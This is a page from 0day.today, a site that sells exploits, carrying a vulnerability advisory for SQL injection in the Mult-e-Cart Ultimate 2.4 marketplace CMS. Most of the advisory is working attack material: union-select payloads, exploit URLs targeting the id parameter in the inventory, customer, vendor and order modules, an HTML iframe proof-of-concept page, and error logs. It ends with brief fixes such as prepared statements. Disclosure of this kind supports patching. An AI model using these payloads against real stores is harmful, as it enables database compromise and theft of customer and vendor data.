0day.today - наибольшая база данных эксплоитов в мире.
![](/img/logo_green.jpg)
Мы используем один основной домен 0day.today
Если Вы желаете приобрести эксплоит или заплатить за услуги - Вам необходимо приобрести Золото (Gold). Мы не хотим чтобы Вы использовали наш сайт как инструмент для взломов, поэтому любые действия, которые могут незаконно влиять на других пользователей или на сайты, к которым у Вас нет прав доступа будут запрещены и Ваш профиль со всей вложенной информацией будет уничтожен.
Администрация сайта использует официальные контакты. Опасайтесь обманщиков!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Прочитайте [ соглашение ]
- Прочитайте [ Отправить ] правила
- Посетите страницу [ faq ] page
- [ Зарегистрируйте ] профиль
- Получите [ Gold ]
- Если Вы хотите [ продать ]
- Если Вы хотите [ купить ]
- Если Вы потеряли [ Счет ]
- Любые вопросы [ [email protected] ]
- Страница авторизации
- Страница регистрации
- Страница восстановления
- Страница FAQ
- Страница контактов
- Правила публикации
- Страница с соглашением
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Вы можете связаться с нами по:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Mult-e-Cart Ultimate 2.4 - (id) SQL Injection Vulnerability
Автор
Риск
![](/img/risk/critlow_3.gif)
Security Risk High
]0day-ID
Категория
Дата добавления
Платформа
# Exploit Title: Mult-e-Cart Ultimate 2.4 - 'id' SQL Injection # Vendor Homepage: https://multecart.com/ # Version: 2.4 Product & Service Introduction: =============================== Digital Multivendor Marketplace Online Store - eShop CMS (Source: https://ultimate.multecart.com/ & https://www.techraft.in/ ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered multiple sql-injection web vulnerabilities in the Mult-e-Cart Ultimate v2.4 (v2021) web-application. Affected Product(s): ==================== Techraft Product: Digital Multivendor Marketplace Online Store v2.4 - eShop CMS (Web-Application) Technical Details & Description: ================================ Multiple classic sql-injection web vulnerabilities has been discovered in the Mult-e-Cart Ultimate v2.4 (v2021) web-application. The web vulnerability allows remote attackers to inject or execute own sql commands to compromise the database management system. The vulnerabilities are located in the `id` parameter of the `view` and `update` function. The vulnerable modules are `inventory`, `customer`, `vendor` and `order`. Remote attackers with a vendor shop account are able to exploit the vulnerable id parameter to execute malicious sql commands. The request method to inject is get and the attack vector is located on the client-side. The remote vulnerability is a classic order by sql-injection. The issue is exploitable with one of the two vendor roles or higher privileged roles like admin. Exploitation of the remote sql injection vulnerabilities requires no user interaction and a privileged vendor- or admin role user account. Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise. Request Method(s): [+] GET Vulnerable Module(s): [+] inventory/inventory/update [+] /customer/customer/view [+] /vendor/vendor/view [+] /order/sub-order/view-order Vulnerable Parameter(s): [+] id Proof of Concept (PoC): ======================= The remote sql injection web vulnerabilities can be exploited by remote attackers with privileged backend panel access without user interaction. For security demonstration or to reproduce the remote sql-injection web vulnerability follow the provided information and steps below to continue. PoC: Payloads 1' union select 1,2,3,4,@@version--&edit=t 1' union select 1,2,3,4,@@database--&edit=t PoC: Exploitation https://multecartultimate.localhost:8080/inventory/inventory/update?id=1' union select 1,2,3,4,5--&edit=t https://multecartultimate.localhost:8080/customer/customer/view?id=1' union select 1,2,3,4,5--&edit=t https://multecartultimate.localhost:8080/vendor/vendor/view?id=1' union select 1,2,3,4,5--&edit=t https://multecartultimate.localhost:8080/order/sub-order/view-order?id=' union select 1,2,3,4,5 - https://multecartultimate.localhost:8080/inventory/inventory/update?id=1' union select 1,2,3,4,5&edit=t https://multecartultimate.localhost:8080/customer/customer/view?id=1' union select 1,2,3,4,5&edit=t https://multecartultimate.localhost:8080/vendor/vendor/view?id=1' union select 1,2,3,4,5&edit=t https://multecartultimate.localhost:8080/order/sub-order/view-order?id=' union select 1,2,3,4,5 PoC: Exploit <html> <head><body> <title>Mult-E-Cart Ultimate - SQL Injection PoC</title> <iframe="https://multecartultimate.localhost:8080/inventory/inventory/update?id=1' union select 1,2,3,4,@@database--&edit=t" width="400" height="400"><br> <iframe="https://multecartultimate.localhost:8080/customer/customer/view?id=1' union select 1,2,3,4,@@database--&edit=t" width="400" height="400"><br> <iframe="https://multecartultimate.localhost:8080/vendor/vendor/view?id=1' union select 1,2,3,4,@@database--&edit=t" width="400" height="400"><br> <iframe="https://multecartultimate.localhost:8080/order/sub-order/view-order?id=' union select 1,2,3,4,@@database--" width="400" height="400"><br> <br> <iframe="https://multecartultimate.localhost:8080/inventory/inventory/update?id=1' union select 1,2,3,4,@@version--&edit=t" width="400" height="400"><br> <iframe="https://multecartultimate.localhost:8080/customer/customer/view?id=1' union select 1,2,3,4,@@version--&edit=t" width="400" height="400"><br> <iframe="https://multecartultimate.localhost:8080/vendor/vendor/view?id=1' union select 1,2,3,4,@@version--&edit=t" width="400" height="400"><br> <iframe="https://multecartultimate.localhost:8080/order/sub-order/view-order?id=' union select 1,2,3,4,@@version--" width="400" height="400"> </body></head> </html> --- SQL Error Exception Handling Logs --- SQLSTATE[42S22]: Column not found: 1054 Unknown column '100' in 'order clause' The SQL being executed was: SELECT * FROM `tbl_inventory` WHERE id=1 order by 100-- - PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1 in /home/test/MulteCart/vendor/yiisoft/yii2/db/Command.php:1299 - Stack trace: #0 /home/test/MulteCart/vendor/yiisoft/yii2/db/Command.php(1299): PDOStatement->execute() #1 /home/test/MulteCart/vendor/yiisoft/yii2/db/Command.php(1165): yiidbCommand->internalExecute('SELECT * FROM `...') #2 /home/test/MulteCart/vendor/yiisoft/yii2/db/Command.php(421): yiidbCommand->queryInternal('fetch', NULL) #3 /home/test/MulteCart/vendor/yiisoft/yii2/db/Query.php(287): yiidbCommand->queryOne() #4 /home/test/MulteCart/vendor/yiisoft/yii2/db/ActiveQuery.php(304): yiidbQuery->one(NULL) #5 /home/test/MulteCartUltimate/multeback/modules/inventory/controllers/InventoryController.php(536): yiidbActiveQuery->one() #6 /home/test/MulteCartUltimate/multeback/modules/inventory/controllers/InventoryController.php(300): multebackmodulesinventorycontrollersInventoryController->findModel('-1'') #7 [internal function]: multebackmodulesinventorycontrollersInventoryController->actionUpdate('-1'') #8 /home/test/MulteCart/vendor/yiisoft/yii2/base/InlineAction.php(57): call_user_func_array(Array, Array) #9 /home/test/MulteCart/vendor/yiisoft/yii2/base/Controller.php(181): yiibaseInlineAction->runWithParams(Array) #10 /home/test/MulteCart/vendor/yiisoft/yii2/base/Module.php(534): yiibaseController->runAction('update', Array) #11 /home/test/MulteCart/vendor/yiisoft/yii2/web/Application.php(104): yiibaseModule->runAction('inventory/inven...', Array) #12 /home/test/MulteCart/vendor/yiisoft/yii2/base/Application.php(392): yiiwebApplication->handleRequest(Object(yiiwebRequest)) #13 /home/test/MulteCartUltimate/multeback/web/index.php(153): yiibaseApplication->run() #14 {main} - Next yiidbException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1 The SQL being executed was: SELECT * FROM `tbl_inventory` WHERE id=-1' in /home/test/MulteCart/vendor/yiisoft/yii2/db/Schema.php:678 - Stack trace: #0 /home/test/MulteCart/vendor/yiisoft/yii2/db/Command.php(1304): yiidbSchema->convertException(Object(PDOException), 'SELECT * FROM `...') #1 /home/test/MulteCart/vendor/yiisoft/yii2/db/Command.php(1165): yiidbCommand->internalExecute('SELECT * FROM `...') #2 /home/test/MulteCart/vendor/yiisoft/yii2/db/Command.php(421): yiidbCommand->queryInternal('fetch', NULL) #3 /home/test/MulteCart/vendor/yiisoft/yii2/db/Query.php(287): yiidbCommand->queryOne() #4 /home/test/MulteCart/vendor/yiisoft/yii2/db/ActiveQuery.php(304): yiidbQuery->one(NULL) #5 /home/test/MulteCartUltimate/multeback/modules/inventory/controllers/InventoryController.php(536): yiidbActiveQuery->one() #6 /home/test/MulteCartUltimate/multeback/modules/inventory/controllers/InventoryController.php(300): multebackmodulesinventorycontrollersInventoryController->findModel('-1'') #7 [internal function]: multebackmodulesinventorycontrollersInventoryController->actionUpdate('-1'') #8 /home/test/MulteCart/vendor/yiisoft/yii2/base/InlineAction.php(57): call_user_func_array(Array, Array) #9 /home/test/MulteCart/vendor/yiisoft/yii2/base/Controller.php(181): yiibaseInlineAction->runWithParams(Array) #10 /home/test/MulteCart/vendor/yiisoft/yii2/base/Module.php(534): yiibaseController->runAction('update', Array) #11 /home/test/MulteCart/vendor/yiisoft/yii2/web/Application.php(104): yiibaseModule->runAction('inventory/inven...', Array) #12 /home/test/MulteCart/vendor/yiisoft/yii2/base/Application.php(392): yiiwebApplication->handleRequest(Object(yiiwebRequest)) #13 /home/test/MulteCartUltimate/multeback/web/index.php(153): yiibaseApplication->run() #14 {main} Debug Array: [0] => 42000 [1] => 1064 [2] => You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1 - Reference(s): https://multecartultimate.localhost:8080/vendor/vendor/view https://multecartultimate.localhost:8080/customer/customer/view https://multecartultimate.localhost:8080/inventory/inventory/update https://multecartultimate.localhost:8080/order/sub-order/view-order Solution - Fix & Patch: ======================= The vulnerability can be resolved by the following description ... 1. Disable to display the sql errors for other users then the admin or pipe it into a local log file outside the panel ui 2. Use a prepared statement to protect the query against further injection attacks 3. Restrict the vulnerable id parameter to disallow usage of special chars of post and get method requests 4. Encode and escape the id content on get method request with the id parameter # 0day.today [2024-07-04] #